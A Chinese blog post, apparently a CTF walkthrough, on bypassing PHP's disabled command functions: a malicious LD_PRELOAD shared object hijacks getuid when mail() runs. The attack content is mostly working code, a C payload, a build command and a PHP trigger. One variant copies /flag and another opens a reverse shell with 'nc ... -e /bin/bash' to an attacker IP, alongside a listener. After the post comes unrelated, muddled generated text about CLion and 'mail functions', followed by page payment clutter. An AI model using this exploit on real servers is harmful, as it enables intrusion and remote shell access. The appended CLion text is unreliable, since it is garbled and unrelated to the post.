mail函数绕过

背景:所有命令执行函数都被禁了,mail函数可用,putenv文件可用,蚁剑连接成功,可以上传文件。

大致思路:控制脚本能够执行php文件,要求php文件中执行mail函数。能够对目标服务器传入.so文件。在.so文件中自定义getuid函数。最后将php文件和.so文件都传入目标机器。运行php文件

第一种方法:上传文件执行

第一步:蚁剑连接

要求连接成功,能够增删文件

第二步:编写php文件和.so文件

//demo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void payload(){
    system("cat /flag > /tmp/flag");
}
int getuid()
{
    unsetenv("LD_PRELOAD");
    payload();
}
gcc -shared -fPIC demo.c -o demo.so
#demo.php
<?php
putenv("LD_PRELOAD=./demo.so");        #这里我把demo.php和demo.so放在同一个文件夹下。可以修改
mail("","","","");
?>

第三步:上传

然后将刚刚写好的demo.php和demo.so通过蚁剑上传上去

 然后在网页端访问刚刚上传的demo.php文件。

 

我们当时是将flag写入tmp底下的flag文件,所以我们来看看tmp底下是否多了flag文件,发现确实多出来了。

缺点: 

此方法不太灵活,一次只能执行一些事先确定的命令。

 第二种方法:反弹shell连接

大致思路:在php脚本中将写入flag的操作改为反弹shell连接。

因此php脚本改为:

//demo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void payload(){
    system("nc xxx.xxx.xxx.xxx yyyy -e /bin/bash");
}     //xxx.xxx.xxx.xxx为攻击机的ip地址,yyyy为攻击机监听打开的端口
int getuid()
{
    unsetenv("LD_PRELOAD");
    payload();
}

 同时在攻击机上打开监听

nc -lvvp yyyy
yyyy为你想要开放的端口

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CLion 是一个集成开发环境(IDE),是用于开发和调试 C 和 C++ 程序的工具。在 CLion 中,你可以使用多个 mail 函数来发送电子邮件。 首先,CLion 支持使用 C 和 C++ 编写邮件发送代码。你可以使用标准的 C 和 C++ 库来处理字符串和网络连接。要发送电子邮件,你需要使用特定的邮件库,如 libcurl。你可以在 CLion 的项目中添加 libcurl 库,然后调用相应的函数来发送电子邮件。 在一个项目中使用多个 mail 函数可以实现不同的功能。例如,你可以编写一个 mail 函数来发送简单的文本邮件,另一个 mail 函数用于发送带有附件的邮件,还可以编写一个 mail 函数来发送 HTML 格式的邮件。通过使用不同的 mail 函数,你可以根据需求发送不同类型的邮件。 使用 CLion 来开发多个 mail 函数有多个好处。首先,CLion 提供了强大的代码编辑功能,包括语法高亮、自动补全和错误检查,可以帮助你编写正确的代码。其次,CLion 的调试工具可以帮助你检查并修复发送邮件时出现的问题。另外,CLion 的版本控制功能可以使你轻松管理你的代码,并与团队成员进行协作。 总之,CLion 是一个非常强大和灵活的开发工具,可以帮助你开发多个 mail 函数来发送不同类型的电子邮件。通过使用 CLion 的编辑、调试和版本控制功能,你可以更轻松地编写和管理你的代码,提高开发效率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值